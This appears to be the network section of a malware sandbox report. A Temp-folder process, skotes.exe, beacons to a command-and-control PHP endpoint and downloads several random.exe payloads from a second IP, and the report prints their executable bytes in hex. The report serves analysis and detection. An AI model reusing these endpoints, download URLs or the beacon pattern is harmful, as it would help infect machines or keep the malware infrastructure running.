Dec 17, 2024 08:03:09.428461075 CET	1236	IN	Data Raw: fb 1d 08 a7 45 85 58 f7 07 50 62 c7 47 fe 49 9e 65 90 9f d4 1a e6 6a f1 78 49 52 36 1a d6 77 40 db 6a f8 f1 de 4f 60 e8 ef 07 b6 e6 fc 1a d4 ac 59 7e 30 2c 98 1f 1e c5 22 d3 7b 38 cd 35 a8 76 00 0f 00 eb 43 51 bf f0 c6 b5 a7 ca d4 73 3f 31 e0 94 Data Ascii: EXPbGIejxIR6w@jO`Y~0,"{85vCQs?1U3`iB^lwke_uX&Ts]c'a1j+I xDo_yvqPnlAze,2kp0>7lKn5K=6F+\jw
Dec 17, 2024 08:03:09.428493977 CET	1236	IN	Data Raw: 49 12 78 90 9e 6a 5c 3f dd 3d 02 ad 47 e7 cd 5c f9 8d d7 1b e9 aa 67 15 59 43 42 57 8c 5f 3a b6 c0 8c 5f 25 80 c8 78 56 f0 cb 58 27 88 4d c9 ca 34 51 ff 9e 18 ee 6a 41 48 49 04 69 9a 89 77 05 49 6a 81 86 f6 d9 8f c2 4f 07 c5 f2 a3 98 d3 ac 72 dc Data Ascii: Ixj\?=G\gYCBW_:_%xVX'M4QjAHIiwIjOrJ,OYnd\jcON1:z0h_.ww2QL8KN`jOpw+Y0}!I`hx{PKLh&/1"FHa{8AU
Dec 17, 2024 08:03:09.428529978 CET	1236	IN	Data Raw: 08 d2 f7 c7 a0 07 4a 9c 23 94 25 d5 91 f2 6a 04 e8 4e e1 8f 1d 1f 08 5d ba 70 dd 30 e0 90 c7 be 06 0e ae 86 56 ce 77 f5 42 fe 7f 82 51 cb 6a 1e 1f 49 04 28 89 e9 77 c4 21 6a ed e8 d9 e9 d2 fa f1 77 0a a4 fb e6 c4 a9 92 0b b7 d7 ff da 20 67 b4 5f Data Ascii: J#%jN]p0VwBQjI(w!jw g_%io&Y+=F/R6FOndodOKX.s0uRN=>{Otdr}dff*e\{d\P>XC8?`CYv=_5r+?_6c%gX
Dec 17, 2024 08:03:09.428567886 CET	1236	IN	Data Raw: 72 87 dd 57 98 62 2a 49 36 d3 4f 7e 7d d2 cc 64 d6 01 a6 e6 63 4f 12 66 9e 62 07 1b 39 93 c3 30 e0 99 03 3b 4f 07 d6 17 97 04 d4 b9 42 8a eb 3a 99 0a 04 eb 69 60 2b 1f e9 8d f1 a8 86 98 57 7f 38 de 29 8c 1e 46 4c 02 d0 af 7a 04 68 58 10 eb 13 4b Data Ascii: rWb*I6O~}dcOfb90;OB:i`+W8)FLzhXKph}!UK[^d}58VQK7ZO 3X9('3Q(z1jI4 wjAwta]C"M@w~rO'{.DO
Dec 17, 2024 08:03:09.548618078 CET	1236	IN	Data Raw: 4d df a1 f7 00 6a 12 15 e2 d6 7a 3a 28 ca 77 c7 d9 99 49 8b cc 63 21 d5 cf 51 6a 9e 2e 49 ce 92 78 9c 77 fe fa 6a a5 21 da e8 9e 73 39 77 1b 66 fb c6 c7 a6 dc a0 26 86 08 35 b0 c7 0e 44 4a 35 e0 d6 79 d4 17 c6 6a 37 56 49 ab e8 c6 4c 77 3a 83 6a Data Ascii: Mjz:(wIc!Qj.Ixwj!s9wf&5DJ5yj7VILw:jFxm%+Cz~KKAM/J_pY_JE&A''LKMKYI5-o`rjTOa*+.%j_b>swJI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49842	185.215.113.43	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:03:15.585509062 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 35 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016538001&unit=246122658369
Dec 17, 2024 08:03:16.891567945 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49844	31.41.244.11	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:03:17.015835047 CET	63	OUT	GET /files/kosodium/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 17, 2024 08:03:18.348537922 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:03:18 GMT Content-Type: application/octet-stream Content-Length: 1870336 Last-Modified: Mon, 16 Dec 2024 17:17:26 GMT Connection: keep-alive ETag: "676060a6-1c8a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 a0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 49 00 00 04 00 00 77 69 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gI@Iwi@T0h 1 H@.rsrc X@.idata 0Z@ @*@\@vpedfbia/^@fsmwrfhyId@.taggant0I"h@
Dec 17, 2024 08:03:18.348613977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:18.348651886 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:18.348702908 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:18.348737955 CET	1236	IN	Data Raw: 24 3b e5 aa 34 d0 02 fc 82 82 e5 f6 03 83 e7 78 1a fc 70 f9 ea 83 34 d8 f1 d7 a3 f2 03 87 ec b2 b2 36 a4 36 4d 43 39 43 d8 19 67 f0 6c eb 6e 6c a5 03 15 cb b9 44 e3 20 89 11 f3 76 47 23 ea fb 0b 37 08 2c 69 f1 db a6 f1 20 ee 42 69 4a 56 2d a1 2b Data Ascii: $;4xp466MC9CglnlD vG#7,i BiJV-+S\T81#z=2u'i$eH([$@<I#(`?jb~ZGXjPtw+"yinL dV 6#*qoB7K-E
Dec 17, 2024 08:03:18.348773003 CET	1236	IN	Data Raw: 24 d8 6c b2 49 34 04 7d bd 31 e3 2e 71 59 cc f1 a1 8c 57 fa 28 2e 73 76 6e cc 04 c5 0c 04 f7 b9 a9 cb f7 8d ca d3 43 90 c6 11 58 48 59 17 19 13 e2 58 7f f3 19 ff 6a 73 9c b7 58 b6 dd bb 1d 04 39 f8 58 d2 91 d2 97 0c 95 87 fe d5 ea 94 25 c9 85 07 Data Ascii: $lI4}1.qYW(.svnCXHYXjsX9X%b<!A8si(d[9_CNDrQ1-AKhwe=7q4Fa2<yPKI[,V\|xGylw;g?3<_=$y.+sh*e
Dec 17, 2024 08:03:18.348808050 CET	1236	IN	Data Raw: a2 e3 83 a2 8b eb 70 f4 5d ce e6 18 59 7c b1 f0 e9 ba c5 79 56 84 d1 f3 1d d1 b5 29 b3 60 0e 57 09 5b a6 79 47 07 cd 04 0e ff 90 07 a2 1a b1 1a 68 ec ec 03 93 ab e8 f8 98 1a 08 b8 b5 7b 88 e6 ac 1d 00 f7 27 a3 df b4 6a 6b 60 68 cb 90 6b 27 1a 16 Data Ascii: p]Y\|yV)`W[yGh{'jk`hk'^.GyF4sGmhwYz5!,"ZH:VJy-H9wQO&FeBkW3?7NT:J,2r<&a#'DcY13{}3\Qy
Dec 17, 2024 08:03:18.348841906 CET	1236	IN	Data Raw: 79 b6 81 fe fc a9 6b 0e 60 05 af 7d 8d 06 5e 9b 55 1e 36 54 dc bc 06 f5 88 f9 16 14 87 8e d4 ca 72 4a 0f f7 16 8a 08 b1 bb 50 26 f8 03 45 94 29 5b 35 85 a2 39 2d f3 6f 23 ec bb ff 03 1f 1f 00 14 e7 13 a0 04 c6 77 2f 86 37 13 e7 69 9d 62 3f 6b ff Data Ascii: yk`}^U6TrJP&E)[59-o#w/7ib?k"Y8v/z-u>v($z~*n#eWFSc'F8_\g/x{Z1at"HPi[(oh61$Y5gA$
Dec 17, 2024 08:03:18.348879099 CET	1236	IN	Data Raw: 74 ae f4 9b 8d 4a 34 7a aa a0 32 6a c7 77 ed 64 8d 44 df 00 f6 d2 65 4a 0b 93 b4 38 d1 7b e1 34 c4 66 a1 4f 06 f7 17 b3 03 06 55 30 4f 3c 00 8a d9 0c fc 2f 16 47 5f 22 78 89 f4 f8 46 e0 84 56 fe ed 15 a8 89 d5 55 b0 a3 20 e6 cb f1 27 16 26 91 ed Data Ascii: tJ4z2jwdDeJ8{4fOU0O</G_"xFVU '&{<?7uz:'Z8w[HSVcikC~mZ`)5yxJSz6%Pl"nlvVwiD3ocrz?Nd7_=
Dec 17, 2024 08:03:18.348916054 CET	1236	IN	Data Raw: 52 d8 bf 46 b1 c4 0c da c3 fc ad 62 8c 6b 06 0a 68 ca 44 14 f7 eb 50 de cf 67 d7 79 24 50 7d 6e c9 75 85 5c 3d 74 23 33 99 ac 0d d4 82 e3 fd e9 c6 3f 37 26 77 ae e9 f5 f3 dc ce 4d e5 63 b5 91 0a 19 26 7e 41 d0 16 c6 07 51 26 ae 04 51 7c 24 f4 aa Data Ascii: RFbkhDPgy$P}nu\=t#3?7&wMc&~AQ&Q\|$}\|el7X{%c#hSZE'/G,\MIT-xCj`kqR\|pG99R!Y*8eP9t3H]3.)y;(T
Dec 17, 2024 08:03:18.468910933 CET	1236	IN	Data Raw: 39 d7 f8 70 99 ec 48 2b 33 6b 9f f9 a8 ae 1d e0 a6 18 35 b3 4e 4b cc 75 bd 71 bc 88 3d 45 1d fd ca 2d 0f 10 cd 4b f8 27 4a 3e e8 02 c1 84 db 3b 6f 43 eb c9 f5 03 71 f2 f7 c4 1c de f7 a6 58 3a ad 43 23 15 a1 2e b5 68 e8 73 a1 54 11 f0 8f 7a c1 8a Data Ascii: 9pH+3k5NKuq=E-K'J>;oCqX:C#.hsTzmP^?@^eW+q.$HEBw&R0A:5.HQ)uH) A~\">L2 f#6O{Wi1!ijEC%~)b\|~8_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49860	185.215.113.43	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:03:23.908061981 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 35 33 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016539001&unit=246122658369
Dec 17, 2024 08:03:25.195184946 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:03:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49867	31.41.244.11	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:03:25.317034960 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 17, 2024 08:03:26.639031887 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:03:26 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 17, 2024 08:03:26.639065027 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 17, 2024 08:03:26.639077902 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 17, 2024 08:03:26.639102936 CET	1236	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3VNXAD
Dec 17, 2024 08:03:26.639118910 CET	1236	IN	Data Raw: 8d 55 d4 0f 95 c0 52 6a 0c ff 75 0c 89 46 3c 8b 46 0c 8b 08 50 ff 51 18 3b c7 89 45 0c 74 19 8d 4d d4 e8 fe 08 01 00 ff 75 f0 e8 ec 75 01 00 8b 7d 0c 59 e9 cf fe ff ff 0f b7 45 d4 3b c7 74 1a 83 f8 40 74 07 6a 66 e9 71 ff ff ff 8b 45 dc 89 46 34 Data Ascii: URjuF<FPQ;EtMuu}YE;t@tjfqEF4EF8EPAF4PEPA9~<t3Y>jh/N4QPYY%jlu;YtxXAH3PMF (F jQHxx,
Dec 17, 2024 08:03:26.639147043 CET	672	IN	Data Raw: 64 a1 41 00 eb 7a 83 3d 90 e9 41 00 00 75 6f 8b 35 68 a1 41 00 68 d0 a5 41 00 bb c4 a5 41 00 53 c7 05 90 e9 41 00 01 00 00 00 ff d6 8b 3d 6c a1 41 00 50 ff d7 6a 00 89 45 fc 0f b7 05 80 e9 41 00 68 09 04 00 00 6a 00 50 8d 45 bc 68 a8 a5 41 00 50 Data Ascii: dAz=Auo5hAhAASA=lAPjEAhjPEhAPA}uhASPEtjEPjU3_^[U,SVW3WAjXPE0A}j`X5TAj`jdPv\|=j[j=j[j_EPju@AWSuW
Dec 17, 2024 08:03:26.639178991 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 17, 2024 08:03:26.639240980 CET	1236	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$AujWPOG;~
Dec 17, 2024 08:03:26.639451981 CET	448	IN	Data Raw: 37 00 89 75 f4 e8 ec fd ff ff 57 e8 ef 64 01 00 59 5f 8b 45 08 5e 5b c9 c2 0c 00 53 56 8b 74 24 0c 57 8b f9 8b 47 04 39 06 7e 02 89 06 8b 5c 24 14 53 e8 d0 e6 ff ff 8b 06 50 03 c3 50 8b cf e8 ec fa ff ff 5f 5e 5b c2 08 00 8b 44 24 08 ff 30 8b 44 Data Ascii: 7uWdY_E^[SVt$WG9~\$SPP_^[D$0D$0YY@W\|$D$xt.SVpFPVPVSjt$,8Af$A^G[_USVuE39Xt2WxS?ESAPQNPWuSuA
Dec 17, 2024 08:03:26.639467001 CET	1236	IN	Data Raw: 89 5d f0 eb 03 8b 7d 08 8b 07 8d 4d e4 51 b9 00 10 00 00 2b ce 51 8d 8c 35 e0 ef ff ff 51 57 ff 50 0c 85 c0 0f 85 ca 00 00 00 8b 45 e4 3b c3 0f 84 bf 00 00 00 03 f0 8d 85 e0 ef ff ff 33 ff 89 45 f8 38 5d ff 8b c6 74 3d 2b 45 e8 3b f8 77 60 ff 75 Data Ascii: ]}MQ+Q5QWPE;3E8]t=+E;w`uuubE:EtuMvGE+E;w#uuubuEEE+}V=]PP<A9]w}"M39Y
Dec 17, 2024 08:03:26.758987904 CET	1236	IN	Data Raw: 01 50 50 8b cf e8 97 f6 ff ff 50 ff 74 24 18 ff 15 c4 a2 41 00 8b 07 66 83 24 70 00 89 77 04 8b c7 5f 5e c3 55 8b ec 83 ec 74 53 56 8b 75 08 57 6a 40 8d 45 8c 50 56 ff 15 9c a2 41 00 85 c0 74 49 68 f8 a5 41 00 8d 45 8c 50 ff 15 48 a1 41 00 85 c0 Data Ascii: PPPt$Af$pw_^UtSVuWj@EPVAtIhAEPHAu6jV\|Au)EVPvjhAutu]Y3_^[VA3;EthAhAEPVYYVAhAE+ESSWuPE+EPuuhPhAh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49894	185.215.113.43	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:03:36.262711048 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 35 34 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016540001&unit=246122658369
Dec 17, 2024 08:03:37.613776922 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49900	31.41.244.11	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:03:38.007865906 CET	60	OUT	GET /files/flava/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 17, 2024 08:03:39.366568089 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:03:39 GMT Content-Type: application/octet-stream Content-Length: 1763328 Last-Modified: Mon, 16 Dec 2024 20:04:16 GMT Connection: keep-alive ETag: "676087c0-1ae800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b5 7d 5e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 b4 00 00 00 10 00 00 00 00 00 00 00 a0 45 00 00 20 00 00 00 e0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 45 00 00 04 00 00 f7 c7 1b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 00 01 00 69 00 00 00 00 e0 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 01 01 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PEL}^g0E @ E`Ui T @.rsrct@.idata @ * @fsrfimey@@+<@mhpawist E@.taggant@E"@
Dec 17, 2024 08:03:39.366604090 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:39.366611004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:39.366628885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:39.366636038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:39.366642952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:39.366653919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:39.366844893 CET	1236	IN	Data Raw: 64 b2 2b 68 45 eb 30 4d 62 b1 a1 62 45 a5 4b 63 ce 91 52 80 64 25 da 56 45 ef 4f 3d d4 b9 5e 56 cf b6 f1 0d 15 b5 e5 b4 e4 93 82 52 45 03 4c 53 40 e8 b5 6b 5b 0f e1 b2 14 e8 b5 83 2c b9 c7 45 1a 7f 67 60 fd af 6e 55 b4 cd c2 a7 8b ec 5b 8b 74 a1 Data Ascii: d+hE0MbbEKcRd%VEO=^VRELS@k[,Eg`nU[tI6eEU2BE:NkR{)GGE}Fky.Q_AE.CWWMT^<cVt`5gRB$0P4+]]j zCk`]dAP\|N1%D`7PRf986N0EG-5=}@(0k:;eP
Dec 17, 2024 08:03:39.366857052 CET	1236	IN	Data Raw: d2 eb 04 5b d8 38 fb f5 09 ca 06 57 a4 c9 2e 47 59 73 3b 8c 34 40 e7 12 ad cb 5c 19 3b 8c 42 f9 38 fd d3 7f c5 d0 9f 4f 44 cf 7d 04 93 1a 85 6e 65 d2 35 4d 76 d1 b1 10 2d 91 b5 cf 28 b8 46 3a 69 31 26 3c 0c 0d d9 1c 6c 10 bd 4e ac 46 bc 5a ee 53 Data Ascii: [8W.GYs;4@\;B8OD}ne5Mv-(F:i1&<lNFZSVgk^,]jD]dSL`P-n[D9]4W\I{q&Ig#&kPK*UiT\ZVl6qeC=hUpaRyY#BC'xb\|=jD!D3HeV^C-D
